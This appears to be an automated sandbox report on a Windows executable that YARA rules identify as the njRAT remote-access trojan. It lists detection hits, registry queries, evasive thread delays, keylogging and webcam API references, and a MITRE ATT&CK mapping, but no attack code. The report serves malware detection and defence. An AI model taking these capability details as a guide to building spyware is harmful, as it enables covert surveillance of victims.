Source: bRMW.exe, type: SAMPLE	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04
Source: bRMW.exe, type: SAMPLE	Matched rule: CN_disclosed_20180208_c date = 2018-02-08, hash1 = 17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: bRMW.exe, type: SAMPLE	Matched rule: MALWARE_Win_NjRAT author = ditekSHen, description = Detects NjRAT / Bladabindi
Source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04
Source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: CN_disclosed_20180208_c date = 2018-02-08, hash1 = 17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_NjRAT author = ditekSHen, description = Detects NjRAT / Bladabindi
Source: 00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04

Source: C:\Users\user\Desktop\bRMW.exe	Code function: 0_2_031DDBF0	0_2_031DDBF0
Source: C:\Users\user\Desktop\bRMW.exe	Code function: 0_2_031D4810	0_2_031D4810
Source: C:\Users\user\Desktop\bRMW.exe	Code function: 0_2_031DF290	0_2_031DF290

Source: C:\Users\user\Desktop\bRMW.exe

Process Stats: CPU usage > 49%

Source: bRMW.exe, 00000000.00000002.4452699978.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs bRMW.exe
Source: bRMW.exe, 00000000.00000002.4450758219.0000000001387000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs bRMW.exe
Source: bRMW.exe, 00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameServer.exe4 vs bRMW.exe
Source: bRMW.exe	Binary or memory string: OriginalFilenameServer.exe4 vs bRMW.exe

Source: bRMW.exe	ReversingLabs: Detection: 89%
Source: bRMW.exe	Virustotal: Detection: 73%

Source: C:\Users\user\Desktop\bRMW.exe

File read: C:\Users\user\Desktop\bRMW.exe

Jump to behavior

Source: bRMW.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\bRMW.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\bRMW.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@3/2

Source: bRMW.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\bRMW.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\Desktop\bRMW.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: bRMW.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: bRMW.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mscorlib.pdb source: bRMW.exe, 00000000.00000002.4455595232.0000000006E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: bRMW.exe, 00000000.00000002.4455249840.0000000005A5B000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: bRMW.exe, OK.cs

.Net Code: Plugin System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\bRMW.exe TID: 6620	Thread sleep count: 485 > 30	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4292	Thread sleep count: 846 > 30	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4292	Thread sleep count: 8300 > 30	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -597374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -596608s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -596499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -596389s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -596171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -595733s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -595296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe TID: 4124	Thread sleep time: -594968s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596608	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596389	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595733	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 594968	Jump to behavior

Source: C:\Users\user\Desktop\bRMW.exe	Window / User API: threadDelayed 485	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Window / User API: threadDelayed 846	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Window / User API: threadDelayed 8300	Jump to behavior

Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596608	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596389	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595733	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Thread delayed: delay time: 594968	Jump to behavior

Source: bRMW.exe, 00000000.00000002.4452699978.0000000001511000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\bRMW.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\bRMW.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: bRMW.exe, kl.cs	Reference to suspicious API methods: MapVirtualKey(a, 0u)
Source: bRMW.exe, kl.cs	Reference to suspicious API methods: GetAsyncKeyState(num2)
Source: bRMW.exe, OK.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, cbName, ref lpszVer, 100)

Source: C:\Users\user\Desktop\bRMW.exe	Queries volume information: C:\Users\user\Desktop\bRMW.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\bRMW.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\bRMW.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Njrat

Source: Yara match	File source: bRMW.exe, type: SAMPLE
Source: Yara match	File source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bRMW.exe PID: 2748, type: MEMORYSTR

Remote Access Functionality

Yara detected Njrat

Source: Yara match	File source: bRMW.exe, type: SAMPLE
Source: Yara match	File source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bRMW.exe PID: 2748, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Native API	Path Interception	Path Interception	1 Disable or Modify Tools	1 Input Capture	1 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
